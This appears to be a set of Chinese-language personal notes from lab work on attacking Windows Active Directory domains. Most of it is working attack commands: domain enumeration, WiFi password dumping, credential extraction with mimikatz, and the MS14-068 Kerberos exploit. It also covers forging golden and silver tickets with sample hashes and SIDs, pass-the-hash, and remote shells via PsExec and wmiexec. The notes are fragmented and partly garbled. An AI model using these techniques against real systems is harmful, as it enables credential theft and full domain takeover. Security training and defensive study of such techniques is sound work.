for
循环查找文件参考:
https://blog.csdn.net/qq_29647709/article/details/81474552
命令:
for /r 目录名 %i in (匹配模式1,匹配模式2) do @echo %i
比如在当前目录及其子目录下查看所有的txt
文件:
for /r . %i in (*.txt) do @echo %i
如果结果太多,可以使用>>
输出到文件
for /r C:\windows %i in (*target) do @echo %i >> 1.txt
注意在搜索目标前面加上通配符星号,不然会出现错误*
NTDS.DIT
C:\windows\NTDS\ntds.dit
名词解释:
NTDS stands for NT Directory Services
The DIT stands for Directory Information Tree.
Ntds.dit
文件位于DC
,该文件中包含所有被该DC
控制的主机的名称、配置以及数据表名称信息
官方文档中对AD
中几个重要文件的介绍:
https://blogs.msdn.microsoft.com/servergeeks/2014/10/14/active-directory-files-and-their-functions/
如何获得域控的NTDS.dit
文件:
http://www.4hou.com/technology/10573.html
轻量目录访问协议
在AD中使用LDAP
名称路径来表示对象在AD
数据库中的位置
https://ldap.com/basic-ldap-concepts/
DIT(directory information tree)
中唯一标识一个entry的位置
uid=john.doe
,如果RDN有多个键值对就按下面的表示方式:givenName=John+sn=Doe
,使用+进行分割DN
由0个RDN构成,这种DN表示一个特殊的entry,叫做root DSE,参考文档https://ldap.com/dit-and-the-ldap-root-dse/
,该DN提供关于directory Server的内容和容量信息RDN
构成的DN
,比如:uid=john.doe,ou=People,dc=example,dc=com
,它有4
个RDN
,每个RDN
都代表一个层级,使用降序排列,越靠后的距离root
最近,比如上面的uid=john.doe,ou=People,dc=example,dc=com
,它的父一级DN
应该是ou=People,dc=example,dc=com
OID
object identifierwinlogon.exe -> 接收用户输入 -> lsass.exe -> (认证)
NTLM 认证过程:
由上述过程可知认证过程中,只涉及到本地的用户名(user)和对应的 NTLM Hash,因此如果在知道用户名和对应的 NTLM Hash 而不知道明文密码时,也能完成 NTML 认证,即哈希传递
哈希传递的工具:
Smbmap、CrackMapExec(没安成)、Mimikatz 、MSF
这些工具的使用参见#哈希传递
参考文档:
在该编辑器中,可以看到四项
RootDSE、默认命名上下文(就是当前电脑登录的域)、Configuration、Schema
https://docs.microsoft.com/zh-cn/windows/desktop/ADSchema/rootdse
其中RootDSE
被定义成目录服务器的目录数据树的root
,RootDSE
不属于任何命名空间,它只是用来提供Directory Server
相关的信息,它的属性值都是用于表示目录服务器相关信息的
https://blog.csdn.net/kamroselee/article/details/79359226
域内的策略会被应用到域中的所有计算机上
从上至下,优先级以次降低
本地计算机策略只会应用到本地计算机上
systeminfo
:使用net time
命令,如果在域中会显示出正确的信息,如果不在域中,会返回错误信息
net time /domain
正确结果:可以看到域控制器
如果不在域中,结果如下:
net view
net config workstation
net group /domain 获取所有域用户组列表
net group "domain admins" /domain 获取域管理员列表
net group "enterprise admins" /domain 获取企业管理员列表
net localgroup administrators /domain 获取域内置administrators组用户,包含enterprise admins与domain admins
net group "domain controllers" /domain 获取域控制器列表
net group "domain computers" /domain 获取所有域成员计算机列表
net user /domain 获取所有域用户列表
net user username /domain 获取指定账户的详细信息
net accounts /domain 获取域密码策略设置,密码长短,错误锁定等信息
nltest /domain_trusts 获取域信任信息
.\domain_computers.bat
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root IIS6
appcmd.exe IIS7
%systemroot%/system32/inetsrv/appcmd.exe list site 列出网站列表
%systemroot%\system32\inetsrv\appcmd.exe list vdir 列出网站物理路径
cscript c:\WINDOWS\system32\eventquery.vbs /fi "Datetime eq 06/24/2015,01:00:00AM-01/14/2019,10:00:00AM" /l Security /V
wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4627]"
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ >> %c.txt
但是列出来的文件都已经不是原来的文件名了,下面这个脚本可以对文件名进行还原
需要在power shell
中运行
$Recycler = (New-Object -ComObject Shell.Application).NameSpace(0xa);foreach($file in $Recycler.items()){$file.path;$file.ExtendedProperty("{9B174B33-40FF-11D2-A27E-00C04FC30871} 2")+'\'+$file.name;$file.Type}
参考文档:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732952(v=ws.11)
dsquery computer - 查找目录中的计算机。
dsquery contact - 查找目录中的联系人。
dsquery subnet - 查找目录中的子网。
dsquery group - 查找目录中的组。
dsquery ou - 查找目录中的组织单位。
dsquery site - 查找目录中的站点。
dsquery server - 查找目录中的域控制器。
dsquery user - 查找目录中的用户。
dsquery quota - 查找目录中的配额。
dsquery partition - 查找目录中的分区。
dsquery * - 用通用的 LDAP 查询查找目录中的任何对象。
dsquery和dsget
联合使用:
查询所有用户名以John
开头的用户的办公室:
dsquery user -name John* | dsget user -office
参考文档:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc755162(v=ws.10)
dsget computer - 显示目录中计算机的属性。
dsget contact - 显示目录中联系人的属性。
dsget subnet - 显示目录中子网的属性。
dsget group - 显示目录中组的属性。
dsget ou - 显示目录中组织单位的属性。
dsget server - 显示目录中服务器的属性。
dsget site - 显示目录中站点的属性。
dsget user - 显示目录中用户的属性。
dsget quota - 显示目录中配额的属性。
dsget partition - 显示目录中分区的属性。
sAMAccounttype
属性在dnsquery
中指定要查询用户的dn
dsquery * CN=777,CN=Users,DC=sayms,DC=com -attr sAMAccounttype
关于sAMAccounttype
的文档https://docs.microsoft.com/zh-cn/windows/desktop/ADSchema/a-samaccounttype
类型、值对照表
SAM_DOMAIN_OBJECT 0x0
SAM_GROUP_OBJECT 0x10000000
SAM_NON_SECURITY_GROUP_OBJECT 0x10000001
SAM_ALIAS_OBJECT 0x20000000
SAM_NON_SECURITY_ALIAS_OBJECT 0x20000001
SAM_USER_OBJECT 0x30000000
SAM_NORMAL_USER_ACCOUNT 0x30000000
SAM_MACHINE_ACCOUNT 0x30000001
SAM_TRUST_ACCOUNT 0x30000002
SAM_APP_BASIC_GROUP 0x40000000
SAM_APP_QUERY_GROUP 0x40000001
SAM_ACCOUNT_TYPE_MAX 0x7fffffff
查询域中账户属性为用户的对象信息:
dsquery * forestroot -s 192.168.1.1 -u john -p Passw0rd! -filter "(sAMAccountType=805306368)" -attr sAMAccountName displayname description
上面的805306368
其实就是sAMAccounttype
的十六进制值0x30000000
,输出sAMAccountName、displayname、description
属性信息
dsquery * forestroot -s 192.168.31.223 -u Administrator -p v201303036. -filter "(sAMAccountType=805306368)" -attr sAMAccountName displayname description
注意,我们指定forestroot
的时候,后面的-s
所指定的主机一定要是全局编录服务器,如果想要查找某个域中的信息,最后在前面指定准确的域
从这个地方可以查看到是不是全局编录服务器:
ldifde/csvde -s 192.168.31.223 -b administrator sayms.com v201303036. -f output.txt
上面那条命令没有加任何过滤选项,所以输出的信息很多,实际过程中要使用ldap
语法滤除我们不想要的信息
使用-h
选项指定主机
adfind -h 192.168.31.223 -u sayms\administrator -up v201303036. -default -f "(sAMAccountType=805306368)" sAMAccountName displayname lastlogon pwdLastSet mail homedirectory scriptpath
顾名思义
下载地址:
https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml
ftp://192.168.31.178:2121/swap/12138/%D3%F2%C9%F8%CD%B8%B9%A4%BE%DF/AdFind.zip
参考数据
https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx
参考文档上有一大堆命令
AdFind.exe -schema -s base objectversion
用于导出域相关信息
参考文档:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc731033(v=ws.10)
在mylab.com
域中查找objectclass
为user
的使用-l
选项指定的信息,并输出到C:\1.txt
Ldifde -d dc=mylab,dc=com -r (objectClass=User) -l distinguishedname,cn,givenname,sn,telephone -f C:\1.txt
实战中的应用,比如我们想获取krbtgt
账户的SID
,可使用以下命令:
Ldifde -d dc=mylab,dc=com -r cn=krbtgt -l distinguishedname,cn,givenname,sn,objectsid -f C:\3.txt`
用法示例:
Ldifde -d dc=sayms,dc=com -r (objectClass=User) -o whenCreated,objectGUID -f ldifde.txt
这条命令领的意思就是导出sayms.com
域中的所有objectClass=User
对象,并忽略whenCreated、objectGUID
属性到.\ldfide.txt
文件中
用法和上面的ldifde
差不多,只是导出文件格式不同而已,不再赘述
comma-separated value (CSV) format
参考文档:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc732101(v=ws.10)
whoami /user
adsiedit.msc
SID
回去所有用户的SID
wmic useraccount get name^,sid
mimikatz
获取域控权限已经获取windows7 x64
管理员权限,域用户为普通用户,目标是拿到域控权限
使用管理员权限运行cmd,此时会要求输入管理员密码,我们使用本地管理员进行验证
然后运行mimikatz
,执行命令privilege::debug
,再执行sekurlsa:logonpasswords
,可抓取到本机用户名、口令、sid、LM hash、NTLM hash
以管理员模式运行,使用改程序时需要提供域控制器的地址,这个我们可以使用前面的Adfind
工具,运行如下命令AdFind.exe -schema -s base objectversion
,可以得到域控制器的域名,ping一下就行了
C:\Users\win7641\Desktop>MS14-068.exe -u [email protected] -s S-1-5-21-445259381-1508218306-2986666393-1105 -d 192.168.31.136 -p xxxx
UPN
SID
IP
password
,由上面的mimikatz
抓取最后会当前目录生成一个[email protected]
文件
keko中ms14-068
的使用:工具位于当前目录
我们使用mimikatz
导入该伪造的缓存,导入前先对之前的票据进行清理
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc [email protected] //将票据注入到内存中
我们可以使用klist
命令查看当前计算机上保存的票据,该票据注入完成后你就获得了域管理员的权限
命令:
kerberos::golden /domain:mylab2.com /sid:S-1-5-21-262444492-3556097433-2181404141-1106 /target:4-lvx8xn9wkog7r.mylab2.com /service:cifs /rc4:d9e23cb21c898957d8f409745c3818fb /user:silver /ptt
详见:D:\phpStudy\PHPTutorial\WWW\html\html\安全\windows\域内渗透\域渗透之票据 - Wh0ale的博客 _ BY Blog.html
参考:
https://github.com/gentilkiwi/kekeo/wiki/ms14068
rc4后面的参数为目标服务器的NTLM,sid后面的参数为目标服务器的sid
mimiktaz一句话获取当前内存中的账号密码信息:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt
SID为目标的域SID,rc4为目标的NTLM
在测试的时候,windows7和windows10作为域中的成员主机都是正常伪造白银票据的,但是使用windows server 2003时去总是出现错误ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicketMessage : c000000d
经过我的一系列实验,域成员主机如果为windows xp或windows server 2003,是无法正常伪造黄金票据的
做了好长时间,还是没有提升到域管理员权限,下面我们直接在域控制器上获取krbtgt
的哈希
使用mimikatz的sekurlsa::krbtgt
模块,执行结果如下:
下面这条命令用于导出krbtgt
的NTLM Hash
mimikatz "lsadump::lsa /patch"
也可以使用这条命令:
mimikatz.exe "lsadump::dcsync /domain:test.local /user:krbtgt"
在指定sid
选项的时候应该把最后的5xx
去掉
kerberos::golden /user:Administrator /domain:mylab2.com /sid:S-1-5-21-262444492-3556097433-2181404141-502 /krbtgt:165710dd13b75b00d1cb840516689eae /ticket:test.kribi
/sid 域控制器sid,
/krbtgt 上面得到的krbtgt的NTLM hash值
最后生成一个kribi文件
我这个是在windows server 2003
上测试的,因此只能用NTLM hash
来生成黄金票据
SID结构:
例:S-1-5-21-310440588-250036847-580389505-500
我们来先分析这个重要的SID。第一项S表示该字符串是SID;第二项是SID的版本号,对于2000来说,这个就是1;然后是标志符的颁发机构(identifier authority),对于2000内的帐户,颁发机构就是NT,值是5。然后表示一系列的子颁发机构,前面几项是标志域的,最后一个标志着域内的帐户和组
kerberos::golden /domain:xxx.xxx /sid:域控制器sid /aes256:xxxxxxxx /user:Administrator /ticket:test.kribi
kerberos::ptt test.kribi
这时我们就已经拥有域管理员权限了,but。。。。。实际情况是:
还是不行
这里不行的原因,上面在介绍白银票据的时候也已经说过了,要使用NT5以上的操作系统
一旦在我们控制的主机上使用了域控账户进行登陆,那么我们就可以直接抓取到域控制器的密码,只要这台电脑不关机,我们就能抓取到域管理员的明文密码
在实验中总是会出现的一个问题就是复制CMD窗口中的内容时会引起程序崩溃
不知道为什么,我在做实验的时,一台主机开启了IPC
共享,另一台主机上去登录时只能使用Administrator
账户才好使,使用Administrators
组中的其他用户却不好使
现在我把参加实验的WIN7
和WIN10
都移到了WORKGROUP
工作组,还是只能通过Administrator
用户登录
使用123
用户登陆访问结果:
at
以及 schtasks
有一个实例
D:\html\安全\windows\LOLBAS.md#DUMP 进程内存##Procdump.exe
用法:
PsExec.exe \\192.168.31.254 -u administrator -p 123qwe! cmd
直接返回cmd shell
异常情况
PsExec.exe \\192.168.31.193 -u win764\administrator -p qwe123,./ cmd
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Could not start PSEXESVC service on 192.168.31.193:
拒绝访问。
在密码后面指定domain name
或者 computer name
这个程序在打开cmd
shell之后会在对方的日志中留下记录
但是我在windows server 2003
上进行实验的时候发现对方主机并没有产生event id
为7045
的记录
参见D:\html\安全\windows\一次简单的内网文件窃取.md#wmicexec.vbs
用法:
半交互式shell:
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password
单条命令执行模式:
cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password “command”
https://github.com/eladshamir/Internal-Monologue
D:\w网络工具\域\密码是1InternalMonologue.zip
该密码提取工具可以直接提取出LM hash
和NTLM hash
SMBMap
https://github.com/ShawnDEvans/smbmap
D:\w网络工具\域\哈希传递\smbmap-master.zip
wce除了传递哈希以外还可以抓取内存中的密码,直接执行,不加任何参数就行
传递哈希值如下:
-s Changes NTLM credentials of current logon session.
Parameters: :::.
传递完成之后,直接使用net use
对远程主机的ipc$
进行连接,然后再运行wmiexec
即可获得shell